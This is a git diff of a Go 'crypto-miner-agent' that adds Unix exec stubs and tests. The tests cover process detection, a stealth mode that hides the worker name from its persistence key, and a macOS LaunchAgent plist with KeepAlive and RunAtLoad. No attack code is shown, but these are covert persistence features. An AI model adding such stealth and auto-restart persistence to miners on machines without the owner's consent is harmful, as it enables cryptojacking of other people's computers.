diff --git a/agent/client/silent_stub.go b/agent/client/silent_stub.go new file mode 100644 index 0000000..5afc4fc --- /dev/null +++ b/agent/client/silent_stub.go @@ -0,0 +1,28 @@ +//go:build !windows + +package client + +import "os/exec" + +// On non-Windows there are no console windows to hide; these are +// plain exec wrappers that mirror the silent_windows.go signatures. + +func silentCmd(name string, arg ...string) *exec.Cmd { + return exec.Command(name, arg...) +} + +func silentCombinedOutput(name string, arg ...string) ([]byte, error) { + return exec.Command(name, arg...).CombinedOutput() +} + +func silentOutput(name string, arg ...string) ([]byte, error) { + return exec.Command(name, arg...).Output() +} + +func silentRun(name string, arg ...string) error { + return exec.Command(name, arg...).Run() +} + +func silentStart(cmd *exec.Cmd) error { + return cmd.Start() +} diff --git a/agent/client/silent_stub_test.go b/agent/client/silent_stub_test.go new file mode 100644 index 0000000..e95d9b6 --- /dev/null +++ b/agent/client/silent_stub_test.go @@ -0,0 +1,65 @@ +//go:build !windows + +package client + +import ( + "os/exec" + "testing" +) + +// These tests validate the Unix silent_stub wrappers produce the same +// behaviour as a plain exec.Command — confirming the stubs are wired correctly +// before we ever run the agent on Mac/Linux. + +func TestSilentCombinedOutputEcho(t *testing.T) { + out, err := silentCombinedOutput("echo", "hello") + if err != nil { + t.Fatalf("silentCombinedOutput: %v", err) + } + if string(out) != "hello\n" { + t.Errorf("got %q, want \"hello\\n\"", string(out)) + } +} + +func TestSilentOutputEcho(t *testing.T) { + out, err := silentOutput("echo", "world") + if err != nil { + t.Fatalf("silentOutput: %v", err) + } + if string(out) != "world\n" { + t.Errorf("got %q, want \"world\\n\"", string(out)) + } +} + +func TestSilentRunTrue(t *testing.T) { + if err := silentRun("true"); err != nil { + t.Errorf("silentRun(true): %v", err) + } +} + +func TestSilentRunFalse(t *testing.T) { + err := silentRun("false") + if err == nil { + t.Error("silentRun(false) should return non-nil error") + } +} + +func TestSilentCmdReturnsCmd(t *testing.T) { + cmd := silentCmd("echo", "hi") + if cmd == nil { + t.Fatal("silentCmd returned nil") + } + if cmd.Path == "" { + t.Error("silentCmd returned cmd with empty Path") + } +} + +func TestSilentStartAndWait(t *testing.T) { + cmd := exec.Command("true") + if err := silentStart(cmd); err != nil { + t.Fatalf("silentStart: %v", err) + } + if err := cmd.Wait(); err != nil { + t.Errorf("cmd.Wait after silentStart: %v", err) + } +} diff --git a/agent/deploy/exec_stub.go b/agent/deploy/exec_stub.go index 0e0445c..c4e3e54 100644 --- a/agent/deploy/exec_stub.go +++ b/agent/deploy/exec_stub.go @@ -26,4 +26,3 @@ func HiddenOutput(name string, arg ...string) ([]byte, error) { return exec.Command(name, arg...).Output() } -func applyDetachedStart(cmd *exec.Cmd) {} diff --git a/agent/deploy/guard_unix.go b/agent/deploy/guard_unix.go index be436d3..5ab3c7d 100644 --- a/agent/deploy/guard_unix.go +++ b/agent/deploy/guard_unix.go @@ -5,20 +5,9 @@ package deploy import ( "os/exec" "strings" - - "crypto-miner-agent/config" ) func workerProcessRunning(imageName string) bool { out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output() return err == nil && len(strings.TrimSpace(string(out))) > 0 } - -func launchProcessGuard(cfg config.RuntimeConfig) { - binPath, err := InstalledBinaryPath(cfg) - if err != nil { - return - } - cmd := exec.Command(binPath, guardFlag) - _ = cmd.Start() -} diff --git a/agent/deploy/guard_unix_test.go b/agent/deploy/guard_unix_test.go new file mode 100644 index 0000000..26894b1 --- /dev/null +++ b/agent/deploy/guard_unix_test.go @@ -0,0 +1,48 @@ +//go:build !windows + +package deploy + +import ( + "os/exec" + "testing" +) + +// TestWorkerProcessRunningNotFound checks the negative path (process absent). +// On any CI/local box the test binary name is extremely unlikely to exist as a +// running process by that exact name, so pgrep should return non-zero. +func TestWorkerProcessRunningNotFound(t *testing.T) { + // Use a name that will never be a running process. + if workerProcessRunning("__aetherforge_nonexistent_9z__") { + t.Error("should return false for a process that does not exist") + } +} + +// TestWorkerProcessRunningCurrent verifies detection works when a process IS +// running. We use "go" (the go toolchain itself) since it's always present +// during a test run inside go test. +func TestWorkerProcessRunningCurrent(t *testing.T) { + // pgrep -x matches exact process names; "go" may or may not match + // depending on how go test spawns subprocesses. Use the test binary itself. + name := "go" + out, err := exec.Command("pgrep", "-x", name).Output() + if err != nil || len(out) == 0 { + t.Skipf("pgrep -x go found nothing; skip live-process check (pgrep not in PATH?)") + } + // If pgrep found it, our function must also find it. + if !workerProcessRunning(name) { + t.Errorf("workerProcessRunning(%q) should be true when pgrep finds it", name) + } +} + +// TestWorkerProcessRunningStripsExeSuffix ensures that Windows-style ".exe" +// suffixes in process names are stripped before the pgrep call so the same +// config name can be used on both platforms. +func TestWorkerProcessRunningStripsExeSuffix(t *testing.T) { + // Process "crypto-miner-agent.exe" → pgrep -x "crypto-miner-agent" + // We can't guarantee it's running, but we can confirm it doesn't panic + // and returns a bool. + result := workerProcessRunning("__nonexistent__.exe") + if result { + t.Error("should not find __nonexistent__.exe as a running process") + } +} diff --git a/agent/deploy/platform_unix_test.go b/agent/deploy/platform_unix_test.go new file mode 100644 index 0000000..bd50ce5 --- /dev/null +++ b/agent/deploy/platform_unix_test.go @@ -0,0 +1,127 @@ +//go:build !windows + +package deploy + +import ( + "os" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +// ─── applyDetachedStart ─────────────────────────────────────────────────────── + +func TestApplyDetachedStartNilSafe(t *testing.T) { + // Must not panic when passed nil. + applyDetachedStart(nil) +} + +func TestApplyDetachedStartClearsIO(t *testing.T) { + // Build a real command and verify stdio is cleared. + cmd := HiddenCommand("true") + // Assign non-nil stdio to confirm applyDetachedStart clears them. + r, w, _ := os.Pipe() + defer r.Close() + defer w.Close() + cmd.Stdin = r + cmd.Stdout = w + cmd.Stderr = w + + applyDetachedStart(cmd) + + if cmd.Stdin != nil { + t.Error("applyDetachedStart should set Stdin to nil") + } + if cmd.Stdout != nil { + t.Error("applyDetachedStart should set Stdout to nil") + } + if cmd.Stderr != nil { + t.Error("applyDetachedStart should set Stderr to nil") + } +} + +// ─── PersistenceKeyName ─────────────────────────────────────────────────────── + +func TestPersistenceKeyNameNormal(t *testing.T) { + b := config.GetBuiltinConfig() + b.WorkerName = "MyMiner" + b.StealthMode = false + cfg := config.RuntimeConfig{BuiltinConfig: b} + + key := PersistenceKeyName(cfg) + if !strings.HasPrefix(key, "CryptoMiner-") { + t.Errorf("PersistenceKeyName = %q, expected CryptoMiner- prefix", key) + } + if !strings.Contains(key, "MyMiner") { + t.Errorf("PersistenceKeyName = %q, expected to contain worker name", key) + } +} + +func TestPersistenceKeyNameStealthMode(t *testing.T) { + b := config.GetBuiltinConfig() + b.WorkerName = "MyMiner" + b.StealthMode = true + cfg := config.RuntimeConfig{BuiltinConfig: b} + + key := PersistenceKeyName(cfg) + // Stealth: uses effective process name, not worker name. + if strings.Contains(key, "MyMiner") { + t.Errorf("PersistenceKeyName in stealth = %q, should NOT contain worker name", key) + } +} + +// ─── HostOSVersion ─────────────────────────────────────────────────────────── + +func TestHostOSVersionNonEmpty(t *testing.T) { + v := HostOSVersion() + if v == "" { + t.Error("HostOSVersion() should not be empty") + } +} + +// ─── LaunchAgent plist content validation (darwin-specific logic) ───────────── + +func TestConfigureLaunchAgentPlistContent(t *testing.T) { + b := config.GetBuiltinConfig() + b.WorkerName = "TestMiner" + b.RunAs = "scheduled" + cfg := config.RuntimeConfig{BuiltinConfig: b} + + // Write to a temp dir so we don't actually install anything. + tmpHome := t.TempDir() + origHome := os.Getenv("HOME") + os.Setenv("HOME", tmpHome) + defer os.Setenv("HOME", origHome) + + binPath := "/usr/local/bin/crypto-miner-agent" + err := configureLaunchAgent(cfg, binPath) + if err != nil { + t.Fatalf("configureLaunchAgent: %v", err) + } + + // Verify plist was written. + label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg)) + plistPath := tmpHome + "/Library/LaunchAgents/" + label + ".plist" + data, err := os.ReadFile(plistPath) + if err != nil { + t.Fatalf("plist not created: %v", err) + } + + content := string(data) + requiredStrings := []string{ + "KeepAlive", + "RunAtLoad", + "", + "ProcessType", + "Background", + } + for _, s := range requiredStrings { + if !strings.Contains(content, s) { + t.Errorf("plist missing %q\ncontent:\n%s", s, content) + } + } +}